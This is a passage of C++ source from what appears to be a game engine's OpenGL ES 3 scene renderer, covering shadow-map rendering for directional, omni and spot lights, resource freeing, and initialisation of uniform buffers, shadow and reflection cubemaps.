GL_COLOR_ATTACHMENT0; glDrawBuffers(1, &gldb); } if (env && env->bg_mode == VS::ENV_BG_SKY && (!storage->frame.current_rt || (!storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT] && state.debug_draw != VS::VIEWPORT_DEBUG_DRAW_OVERDRAW))) { /* if (use_mrt) { glBindFramebuffer(GL_FRAMEBUFFER,storage->frame.current_rt->buffers.fbo); //switch to alpha fbo for sky, only diffuse/ambient matters */ if (sky && sky->panorama.is_valid()) _draw_sky(sky, p_cam_projection, p_cam_transform, false, env->sky_custom_fov, env->bg_energy, env->sky_orientation); } //_render_list_forward(&alpha_render_list,camera_transform,camera_transform_inverse,camera_projection,false,fragment_lighting,true); //glColorMask(1,1,1,1); //state.scene_shader.set_conditional( SceneShaderGLES3::USE_FOG,false); if (use_mrt) { _render_mrts(env, p_cam_projection); } else { // Here we have to do the blits/resolves that otherwise are done in the MRT rendering, in particular // - prepare screen texture for any geometry that uses a shader with screen texture // - prepare depth texture for any geometry that uses a shader with depth texture bool framebuffer_dirty = false; if (storage->frame.current_rt && storage->frame.current_rt->buffers.active && state.used_screen_texture) { glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT, GL_NEAREST); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); _blur_effect_buffer(); framebuffer_dirty = true; } if (storage->frame.current_rt && storage->frame.current_rt->buffers.active && state.used_depth_texture) { _prepare_depth_texture(); framebuffer_dirty = true; } if (framebuffer_dirty) { // Restore framebuffer glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); } } if (storage->frame.current_rt && state.used_depth_texture && storage->frame.current_rt->buffers.active) { _bind_depth_texture(); } if (storage->frame.current_rt && state.used_screen_texture && storage->frame.current_rt->buffers.active) { glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 7); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); } glEnable(GL_BLEND); glDepthMask(GL_TRUE); glEnable(GL_DEPTH_TEST); glDisable(GL_SCISSOR_TEST); render_list.sort_by_reverse_depth_and_priority(true); if (state.directional_light_count == 0) { directional_light = NULL; _render_list(&render_list.elements[render_list.max_elements - render_list.alpha_element_count], render_list.alpha_element_count, p_cam_transform, p_cam_projection, env_radiance_tex, false, true, false, false, shadow_atlas != NULL); } else { for (int i = 0; i < state.directional_light_count; i++) { directional_light = directional_lights[i]; _setup_directional_light(i, p_cam_transform.affine_inverse(), shadow_atlas != NULL && shadow_atlas->size > 0); _render_list(&render_list.elements[render_list.max_elements - render_list.alpha_element_count], render_list.alpha_element_count, p_cam_transform, p_cam_projection, env_radiance_tex, false, true, false, i > 0, shadow_atlas != NULL); } } if (probe) { //rendering a probe, do no more! return; } if (env && (env->dof_blur_far_enabled || env->dof_blur_near_enabled) && storage->frame.current_rt && storage->frame.current_rt->buffers.active) _prepare_depth_texture(); _post_process(env, p_cam_projection); // Needed only for debugging /* if (shadow_atlas && storage->frame.current_rt) { //_copy_texture_to_front_buffer(shadow_atlas->depth); storage->canvas->canvas_begin(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, shadow_atlas->depth); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_NONE); storage->canvas->draw_generic_textured_rect(Rect2(0, 0, storage->frame.current_rt->width / 2, storage->frame.current_rt->height / 2), Rect2(0, 0, 1, 1)); } if (storage->frame.current_rt) { //_copy_texture_to_front_buffer(shadow_atlas->depth); storage->canvas->canvas_begin(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, exposure_shrink[4].color); //glBindTexture(GL_TEXTURE_2D,storage->frame.current_rt->exposure.color); storage->canvas->draw_generic_textured_rect(Rect2(0, 0, storage->frame.current_rt->width / 16, storage->frame.current_rt->height / 16), Rect2(0, 0, 1, 1)); } if (reflection_atlas && storage->frame.current_rt) { //_copy_texture_to_front_buffer(shadow_atlas->depth); storage->canvas->canvas_begin(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, reflection_atlas->color); storage->canvas->draw_generic_textured_rect(Rect2(0, 0, storage->frame.current_rt->width / 2, storage->frame.current_rt->height / 2), Rect2(0, 0, 1, 1)); } if (directional_shadow.fbo) { //_copy_texture_to_front_buffer(shadow_atlas->depth); storage->canvas->canvas_begin(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, directional_shadow.depth); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_NONE); storage->canvas->draw_generic_textured_rect(Rect2(0, 0, storage->frame.current_rt->width / 2, storage->frame.current_rt->height / 2), Rect2(0, 0, 1, 1)); } if ( env_radiance_tex) { //_copy_texture_to_front_buffer(shadow_atlas->depth); storage->canvas->canvas_begin(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, env_radiance_tex); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); storage->canvas->draw_generic_textured_rect(Rect2(0, 0, storage->frame.current_rt->width / 2, storage->frame.current_rt->height / 2), Rect2(0, 0, 1, 1)); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); }*/ //disable all stuff } void RasterizerSceneGLES3::render_shadow(RID p_light, RID p_shadow_atlas, int p_pass, InstanceBase **p_cull_result, int p_cull_count) { render_pass++; directional_light = NULL; LightInstance *light_instance = light_instance_owner.getornull(p_light); ERR_FAIL_COND(!light_instance); RasterizerStorageGLES3::Light *light = storage->light_owner.getornull(light_instance->light); ERR_FAIL_COND(!light); uint32_t x, y, width, height; float dp_direction = 0.0; float zfar = 0; bool flip_facing = false; int custom_vp_size = 0; GLuint fbo; int current_cubemap = -1; float bias = 0; float normal_bias = 0; state.used_depth_prepass = false; CameraMatrix light_projection; Transform light_transform; if (light->type == VS::LIGHT_DIRECTIONAL) { //set pssm stuff if (light_instance->last_scene_shadow_pass != scene_pass) { //assign rect if unassigned light_instance->light_directional_index = directional_shadow.current_light; light_instance->last_scene_shadow_pass = scene_pass; directional_shadow.current_light++; if (directional_shadow.light_count == 1) { light_instance->directional_rect = Rect2(0, 0, directional_shadow.size, directional_shadow.size); } else if (directional_shadow.light_count == 2) { light_instance->directional_rect = Rect2(0, 0, directional_shadow.size, directional_shadow.size / 2); if (light_instance->light_directional_index == 1) { light_instance->directional_rect.position.x += light_instance->directional_rect.size.x; } } else { //3 and 4 light_instance->directional_rect = Rect2(0, 0, directional_shadow.size / 2, directional_shadow.size / 2); if (light_instance->light_directional_index & 1) { light_instance->directional_rect.position.x += light_instance->directional_rect.size.x; } if (light_instance->light_directional_index / 2) { light_instance->directional_rect.position.y += light_instance->directional_rect.size.y; } } } light_projection = light_instance->shadow_transform[p_pass].camera; light_transform = light_instance->shadow_transform[p_pass].transform; x = light_instance->directional_rect.position.x; y = light_instance->directional_rect.position.y; width = light_instance->directional_rect.size.x; height = light_instance->directional_rect.size.y; if (light->directional_shadow_mode == VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_4_SPLITS) { width /= 2; height /= 2; if (p_pass == 1) { x += width; } else if (p_pass == 2) { y += height; } else if (p_pass == 3) { x += width; y += height; } } else if (light->directional_shadow_mode == VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_2_SPLITS) { height /= 2; if (p_pass == 0) { } else { y += height; } } float bias_mult = Math::lerp(1.0f, light_instance->shadow_transform[p_pass].bias_scale, light->param[VS::LIGHT_PARAM_SHADOW_BIAS_SPLIT_SCALE]); zfar = light->param[VS::LIGHT_PARAM_RANGE]; bias = light->param[VS::LIGHT_PARAM_SHADOW_BIAS] * bias_mult; normal_bias = light->param[VS::LIGHT_PARAM_SHADOW_NORMAL_BIAS] * bias_mult; fbo = directional_shadow.fbo; } else { //set from shadow atlas ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_shadow_atlas); ERR_FAIL_COND(!shadow_atlas); ERR_FAIL_COND(!shadow_atlas->shadow_owners.has(p_light)); fbo = shadow_atlas->fbo; uint32_t key = shadow_atlas->shadow_owners[p_light]; uint32_t quadrant = (key >> ShadowAtlas::QUADRANT_SHIFT) & 0x3; uint32_t shadow = key & ShadowAtlas::SHADOW_INDEX_MASK; ERR_FAIL_INDEX((int)shadow, shadow_atlas->quadrants[quadrant].shadows.size()); uint32_t quadrant_size = shadow_atlas->size >> 1; x = (quadrant & 1) * quadrant_size; y = (quadrant >> 1) * quadrant_size; uint32_t shadow_size = (quadrant_size / shadow_atlas->quadrants[quadrant].subdivision); x += (shadow % shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; y += (shadow / shadow_atlas->quadrants[quadrant].subdivision) * shadow_size; width = shadow_size; height = shadow_size; if (light->type == VS::LIGHT_OMNI) { if (light->omni_shadow_mode == VS::LIGHT_OMNI_SHADOW_CUBE) { int cubemap_index = shadow_cubemaps.size() - 1; for (int i = shadow_cubemaps.size() - 1; i >= 0; i--) { //find appropriate cubemap to render to if (shadow_cubemaps[i].size > shadow_size * 2) break; cubemap_index = i; } fbo = shadow_cubemaps[cubemap_index].fbo_id[p_pass]; light_projection = light_instance->shadow_transform[0].camera; light_transform = light_instance->shadow_transform[0].transform; custom_vp_size = shadow_cubemaps[cubemap_index].size; zfar = light->param[VS::LIGHT_PARAM_RANGE]; current_cubemap = cubemap_index; } else { light_projection = light_instance->shadow_transform[0].camera; light_transform = light_instance->shadow_transform[0].transform; if (light->omni_shadow_detail == VS::LIGHT_OMNI_SHADOW_DETAIL_HORIZONTAL) { height /= 2; y += p_pass * height; } else { width /= 2; x += p_pass * width; } dp_direction = p_pass == 0 ? 1.0 : -1.0; flip_facing = (p_pass == 1); zfar = light->param[VS::LIGHT_PARAM_RANGE]; bias = light->param[VS::LIGHT_PARAM_SHADOW_BIAS]; state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH_DUAL_PARABOLOID, true); } } else if (light->type == VS::LIGHT_SPOT) { light_projection = light_instance->shadow_transform[0].camera; light_transform = light_instance->shadow_transform[0].transform; dp_direction = 1.0; flip_facing = false; zfar = light->param[VS::LIGHT_PARAM_RANGE]; bias = light->param[VS::LIGHT_PARAM_SHADOW_BIAS]; normal_bias = light->param[VS::LIGHT_PARAM_SHADOW_NORMAL_BIAS]; } } render_list.clear(); _fill_render_list(p_cull_result, p_cull_count, true, true); render_list.sort_by_depth(false); //shadow is front to back for performance glDisable(GL_BLEND); glDisable(GL_DITHER); glEnable(GL_DEPTH_TEST); glBindFramebuffer(GL_FRAMEBUFFER, fbo); glDepthMask(true); glColorMask(0, 0, 0, 0); if (custom_vp_size) { glViewport(0, 0, custom_vp_size, custom_vp_size); glScissor(0, 0, custom_vp_size, custom_vp_size); } else { glViewport(x, y, width, height); glScissor(x, y, width, height); } glEnable(GL_SCISSOR_TEST); glClearDepth(1.0f); glClear(GL_DEPTH_BUFFER_BIT); glDisable(GL_SCISSOR_TEST); state.ubo_data.z_offset = bias; state.ubo_data.z_slope_scale = normal_bias; state.ubo_data.shadow_dual_paraboloid_render_side = dp_direction; state.ubo_data.shadow_dual_paraboloid_render_zfar = zfar; state.ubo_data.opaque_prepass_threshold = 0.1; _setup_environment(NULL, light_projection, light_transform); state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH, true); if (light->reverse_cull) { flip_facing = !flip_facing; } _render_list(render_list.elements, render_list.element_count, light_transform, light_projection, 0, flip_facing, false, true, false, false); state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH, false); state.scene_shader.set_conditional(SceneShaderGLES3::RENDER_DEPTH_DUAL_PARABOLOID, false); if (light->type == VS::LIGHT_OMNI && light->omni_shadow_mode == VS::LIGHT_OMNI_SHADOW_CUBE && p_pass == 5) { //convert the chosen cubemap to dual paraboloid! ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_shadow_atlas); glBindFramebuffer(GL_FRAMEBUFFER, shadow_atlas->fbo); state.cube_to_dp_shader.bind(); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_CUBE_MAP, shadow_cubemaps[current_cubemap].cubemap); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_COMPARE_MODE, GL_NONE); glDisable(GL_CULL_FACE); for (int i = 0; i < 2; i++) { state.cube_to_dp_shader.set_uniform(CubeToDpShaderGLES3::Z_FLIP, i == 1); state.cube_to_dp_shader.set_uniform(CubeToDpShaderGLES3::Z_NEAR, light_projection.get_z_near()); state.cube_to_dp_shader.set_uniform(CubeToDpShaderGLES3::Z_FAR, light_projection.get_z_far()); state.cube_to_dp_shader.set_uniform(CubeToDpShaderGLES3::BIAS, light->param[VS::LIGHT_PARAM_SHADOW_BIAS]); uint32_t local_width = width, local_height = height; uint32_t local_x = x, local_y = y; if (light->omni_shadow_detail == VS::LIGHT_OMNI_SHADOW_DETAIL_HORIZONTAL) { local_height /= 2; local_y += i * local_height; } else { local_width /= 2; local_x += i * local_width; } glViewport(local_x, local_y, local_width, local_height); glScissor(local_x, local_y, local_width, local_height); glEnable(GL_SCISSOR_TEST); glClearDepth(1.0f); glClear(GL_DEPTH_BUFFER_BIT); glDisable(GL_SCISSOR_TEST); //glDisable(GL_DEPTH_TEST); glDisable(GL_BLEND); _copy_screen(); } } glColorMask(1, 1, 1, 1); } void RasterizerSceneGLES3::set_scene_pass(uint64_t p_pass) { scene_pass = p_pass; } bool RasterizerSceneGLES3::free(RID p_rid) { if (light_instance_owner.owns(p_rid)) { LightInstance *light_instance = light_instance_owner.getptr(p_rid); //remove from shadow atlases.. for (Set<RID>::Element *E = light_instance->shadow_atlases.front(); E; E = E->next()) { ShadowAtlas *shadow_atlas = shadow_atlas_owner.get(E->get()); ERR_CONTINUE(!shadow_atlas->shadow_owners.has(p_rid)); uint32_t key = shadow_atlas->shadow_owners[p_rid]; uint32_t q = (key >> ShadowAtlas::QUADRANT_SHIFT) & 0x3; uint32_t s = key & ShadowAtlas::SHADOW_INDEX_MASK; shadow_atlas->quadrants[q].shadows.write[s].owner = RID(); shadow_atlas->shadow_owners.erase(p_rid); } light_instance_owner.free(p_rid); memdelete(light_instance); } else if (shadow_atlas_owner.owns(p_rid)) { ShadowAtlas *shadow_atlas = shadow_atlas_owner.get(p_rid); shadow_atlas_set_size(p_rid, 0); shadow_atlas_owner.free(p_rid); memdelete(shadow_atlas); } else if (reflection_atlas_owner.owns(p_rid)) { ReflectionAtlas *reflection_atlas = reflection_atlas_owner.get(p_rid); reflection_atlas_set_size(p_rid, 0); reflection_atlas_owner.free(p_rid); memdelete(reflection_atlas); } else if (reflection_probe_instance_owner.owns(p_rid)) { ReflectionProbeInstance *reflection_instance = reflection_probe_instance_owner.get(p_rid); reflection_probe_release_atlas_index(p_rid); reflection_probe_instance_owner.free(p_rid); memdelete(reflection_instance); } else if (environment_owner.owns(p_rid)) { Environment *environment = environment_owner.get(p_rid); environment_owner.free(p_rid); memdelete(environment); } else if (gi_probe_instance_owner.owns(p_rid)) { GIProbeInstance *gi_probe_instance = gi_probe_instance_owner.get(p_rid); gi_probe_instance_owner.free(p_rid); memdelete(gi_probe_instance); } else { return false; } return true; } void RasterizerSceneGLES3::set_debug_draw_mode(VS::ViewportDebugDraw p_debug_draw) { state.debug_draw = p_debug_draw; } void RasterizerSceneGLES3::initialize() { render_pass = 0; state.scene_shader.init(); { //default material and shader default_shader = storage->shader_create(); storage->shader_set_code(default_shader, "shader_type spatial;\n"); default_material = storage->material_create(); storage->material_set_shader(default_material, default_shader); default_shader_twosided = storage->shader_create(); default_material_twosided = storage->material_create(); storage->shader_set_code(default_shader_twosided, "shader_type spatial; render_mode cull_disabled;\n"); storage->material_set_shader(default_material_twosided, default_shader_twosided); //default for shaders using world coordinates (typical for triplanar) default_worldcoord_shader = storage->shader_create(); storage->shader_set_code(default_worldcoord_shader, "shader_type spatial; render_mode world_vertex_coords;\n"); default_worldcoord_material = storage->material_create(); storage->material_set_shader(default_worldcoord_material, default_worldcoord_shader); default_worldcoord_shader_twosided = storage->shader_create(); default_worldcoord_material_twosided = storage->material_create(); storage->shader_set_code(default_worldcoord_shader_twosided, "shader_type spatial; render_mode cull_disabled,world_vertex_coords;\n"); storage->material_set_shader(default_worldcoord_material_twosided, default_worldcoord_shader_twosided); } { //default material and shader default_overdraw_shader = storage->shader_create(); storage->shader_set_code(default_overdraw_shader, "shader_type spatial;\nrender_mode blend_add,unshaded;\n void fragment() { ALBEDO=vec3(0.4,0.8,0.8); ALPHA=0.2; }"); default_overdraw_material = storage->material_create(); storage->material_set_shader(default_overdraw_material, default_overdraw_shader); } glGenBuffers(1, &state.scene_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.scene_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(State::SceneDataUBO), &state.scene_ubo, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); glGenBuffers(1, &state.env_radiance_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.env_radiance_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(State::EnvironmentRadianceUBO), &state.env_radiance_ubo, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); render_list.max_elements = GLOBAL_DEF_RST("rendering/limits/rendering/max_renderable_elements", (int)RenderList::DEFAULT_MAX_ELEMENTS); ProjectSettings::get_singleton()->set_custom_property_info("rendering/limits/rendering/max_renderable_elements", PropertyInfo(Variant::INT, "rendering/limits/rendering/max_renderable_elements", PROPERTY_HINT_RANGE, "1024,1000000,1")); render_list.max_lights = GLOBAL_DEF("rendering/limits/rendering/max_renderable_lights", (int)RenderList::DEFAULT_MAX_LIGHTS); ProjectSettings::get_singleton()->set_custom_property_info("rendering/limits/rendering/max_renderable_lights", PropertyInfo(Variant::INT, "rendering/limits/rendering/max_renderable_lights", PROPERTY_HINT_RANGE, "16,4096,1")); render_list.max_reflections = GLOBAL_DEF("rendering/limits/rendering/max_renderable_reflections", (int)RenderList::DEFAULT_MAX_REFLECTIONS); ProjectSettings::get_singleton()->set_custom_property_info("rendering/limits/rendering/max_renderable_reflections", PropertyInfo(Variant::INT, "rendering/limits/rendering/max_renderable_reflections", PROPERTY_HINT_RANGE, "8,1024,1")); { //quad buffers glGenBuffers(1, &state.sky_verts); glBindBuffer(GL_ARRAY_BUFFER, state.sky_verts); glBufferData(GL_ARRAY_BUFFER, sizeof(Vector3) * 8, NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_ARRAY_BUFFER, 0); //unbind glGenVertexArrays(1, &state.sky_array); glBindVertexArray(state.sky_array); glBindBuffer(GL_ARRAY_BUFFER, state.sky_verts); glVertexAttribPointer(VS::ARRAY_VERTEX, 3, GL_FLOAT, GL_FALSE, sizeof(Vector3) * 2, 0); glEnableVertexAttribArray(VS::ARRAY_VERTEX); glVertexAttribPointer(VS::ARRAY_TEX_UV, 3, GL_FLOAT, GL_FALSE, sizeof(Vector3) * 2, CAST_INT_TO_UCHAR_PTR(sizeof(Vector3))); glEnableVertexAttribArray(VS::ARRAY_TEX_UV); glBindVertexArray(0); glBindBuffer(GL_ARRAY_BUFFER, 0); //unbind } render_list.init(); state.cube_to_dp_shader.init(); shadow_atlas_realloc_tolerance_msec = 500; int max_shadow_cubemap_sampler_size = 512; int cube_size = max_shadow_cubemap_sampler_size; glActiveTexture(GL_TEXTURE0); while (cube_size >= 32) { ShadowCubeMap cube; cube.size = cube_size; glGenTextures(1, &cube.cubemap); glBindTexture(GL_TEXTURE_CUBE_MAP, cube.cubemap); //gen cubemap first for (int i = 0; i < 6; i++) { glTexImage2D(_cube_side_enum[i], 0, GL_DEPTH_COMPONENT24, cube.size, cube.size, 0, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, NULL); } glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MAG_FILTER, GL_NEAREST); // Remove artifact on the edges of the shadowmap glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE); //gen renderbuffers second, because it needs a complete cubemap for (int i = 0; i < 6; i++) { glGenFramebuffers(1, &cube.fbo_id[i]); glBindFramebuffer(GL_FRAMEBUFFER, cube.fbo_id[i]); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, _cube_side_enum[i], cube.cubemap, 0); GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); ERR_CONTINUE(status != GL_FRAMEBUFFER_COMPLETE); } shadow_cubemaps.push_back(cube); cube_size >>= 1; } { //directional light shadow directional_shadow.light_count = 0; directional_shadow.size = next_power_of_2(GLOBAL_GET("rendering/quality/directional_shadow/size")); glGenFramebuffers(1, &directional_shadow.fbo); glBindFramebuffer(GL_FRAMEBUFFER, directional_shadow.fbo); glGenTextures(1, &directional_shadow.depth); glBindTexture(GL_TEXTURE_2D, directional_shadow.depth); glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT24, directional_shadow.size, directional_shadow.size, 0, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, directional_shadow.depth, 0); GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); if (status != GL_FRAMEBUFFER_COMPLETE) { ERR_PRINT("Directional shadow framebuffer status invalid"); } } { //spot and omni ubos int max_ubo_size; glGetIntegerv(GL_MAX_UNIFORM_BLOCK_SIZE, &max_ubo_size); const int ubo_light_size = 160; state.ubo_light_size = ubo_light_size; state.max_ubo_lights = MIN(render_list.max_lights, max_ubo_size / ubo_light_size); state.spot_array_tmp = (uint8_t *)memalloc(ubo_light_size * state.max_ubo_lights); state.omni_array_tmp = (uint8_t *)memalloc(ubo_light_size * state.max_ubo_lights); glGenBuffers(1, &state.spot_array_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.spot_array_ubo); glBufferData(GL_UNIFORM_BUFFER, ubo_light_size * state.max_ubo_lights, NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); glGenBuffers(1, &state.omni_array_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.omni_array_ubo); glBufferData(GL_UNIFORM_BUFFER, ubo_light_size * state.max_ubo_lights, NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); glGenBuffers(1, &state.directional_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.directional_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(LightDataUBO), NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); state.max_forward_lights_per_object = 8; state.scene_shader.add_custom_define("#define MAX_LIGHT_DATA_STRUCTS " + itos(state.max_ubo_lights) + "\n"); state.scene_shader.add_custom_define("#define MAX_FORWARD_LIGHTS " + itos(state.max_forward_lights_per_object) + "\n"); state.max_ubo_reflections = MIN(render_list.max_reflections, max_ubo_size / (int)sizeof(ReflectionProbeDataUBO)); state.reflection_array_tmp = (uint8_t *)memalloc(sizeof(ReflectionProbeDataUBO) * state.max_ubo_reflections); glGenBuffers(1, &state.reflection_array_ubo); glBindBuffer(GL_UNIFORM_BUFFER, state.reflection_array_ubo); glBufferData(GL_UNIFORM_BUFFER, sizeof(ReflectionProbeDataUBO) * state.max_ubo_reflections, NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_UNIFORM_BUFFER, 0); state.scene_shader.add_custom_define("#define MAX_REFLECTION_DATA_STRUCTS " + itos(state.max_ubo_reflections) + "\n"); state.max_skeleton_bones = MIN(2048, max_ubo_size / (12 * sizeof(float))); state.scene_shader.add_custom_define("#define MAX_SKELETON_BONES " + itos(state.max_skeleton_bones) + "\n"); } shadow_filter_mode = SHADOW_FILTER_NEAREST; { //reflection cubemaps int max_reflection_cubemap_sampler_size = 512; int rcube_size = max_reflection_cubemap_sampler_size; glActiveTexture(GL_TEXTURE0); bool use_float = true; GLenum internal_format = use_float ? GL_RGBA16F : GL_RGB10_A2; GLenum format = GL_RGBA; GLenum type = use_float ? GL_HALF_FLOAT : GL_UNSIGNED_INT_2_10_10_10_REV; while (rcube_size >= 32) { ReflectionCubeMap cube; cube.size = rcube_size; glGenTextures(1, &cube.depth); glBindTexture(GL_TEXTURE_2D, cube.depth); glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT24, cube.size, cube.size, 0, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glGenTextures(1, &cube.cubemap); glBindTexture(GL_TEXTURE_CUBE_MAP, cube.cubemap); //gen cubemap first for (int i = 0; i < 6; i++) { glTexImage2D(_cube_side_enum[i], 0, internal_format, cube.size, cube.size, 0, format, type, NULL); } glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MAG_FILTER, GL_NEAREST); // Remove artifact on the edges of the reflectionmap glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE); //gen renderbuffers second, because it needs a complete cubemap for (int i = 0; i < 6; i++) { glGenFramebuffers(1, &cube.fbo_id[i]); glBindFramebuffer(GL_FRAMEBUFFER, cube.fbo_id[i]); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, _cube_side_enum[i], cube.cubemap, 0); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, cube.depth, 0); GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); ERR_CONTINUE(status != GL_FRAMEBUFFER_COMPLETE); } reflection_cubemaps.push_back(cube); rcube_size >>= 1; } } { uint32_t immediate_buffer_size = GLOBAL_DEF("rendering/limits/buffers/immediate_buffer_size_kb", 2048); ProjectSettings::get_singleton()->set_custom_property_info("rendering/limits/buffers/immediate_buffer_size_kb", PropertyInfo(Variant::INT, "rendering/limits/buffers/immediate_buffer_size_kb", PROPERTY_HINT_RANGE, "0,8192,1,or_greater")); glGenBuffers(1, &state.immediate_buffer); glBindBuffer(GL_ARRAY_BUFFER, state.immediate_buffer); glBufferData(GL_ARRAY_BUFFER, immediate_buffer_size * 1024, NULL, GL_DYNAMIC_DRAW); glBindBuffer(GL_ARRAY_BUFFER, 0); glGenVertexArrays(1, &state.immediate_array); } #ifdef GLES_OVER_GL //"desktop" opengl needs this. glEnable(GL_PROGRAM_POINT_SIZE); #endif state.resolve_shader.init(); state.ssr_shader.init(); state.effect_blur_shader.init(); state.sss_shader.init(); state.ssao_minify_shader.init(); state.ssao_shader.init(); state.ssao_blur_shader.init(); state.exposure_shader.init(); state.tonemap_shader.init(); { GLOBAL_DEF("rendering/quality/subsurface_scattering/quality", 1); ProjectSettings::get_singleton()->set_custom_property_info("rendering/quality/subsurface_scattering/quality", PropertyInfo(Variant::INT, "rendering/quality/subsurface_scattering/quality", PROPERTY_HINT_ENUM, "Low,Medium,High")); GLOBAL_DEF("rendering/quality/subsurface_scattering/scale", 1.0); ProjectSettings::get_singleton()->set_custom_property_info("rendering/quality/subsurface_scattering/scale", PropertyInfo(Variant::INT, "rendering/quality/subsurface_scattering/scale", PROPERTY_HINT_RANGE, "0.01,8,0.01")); 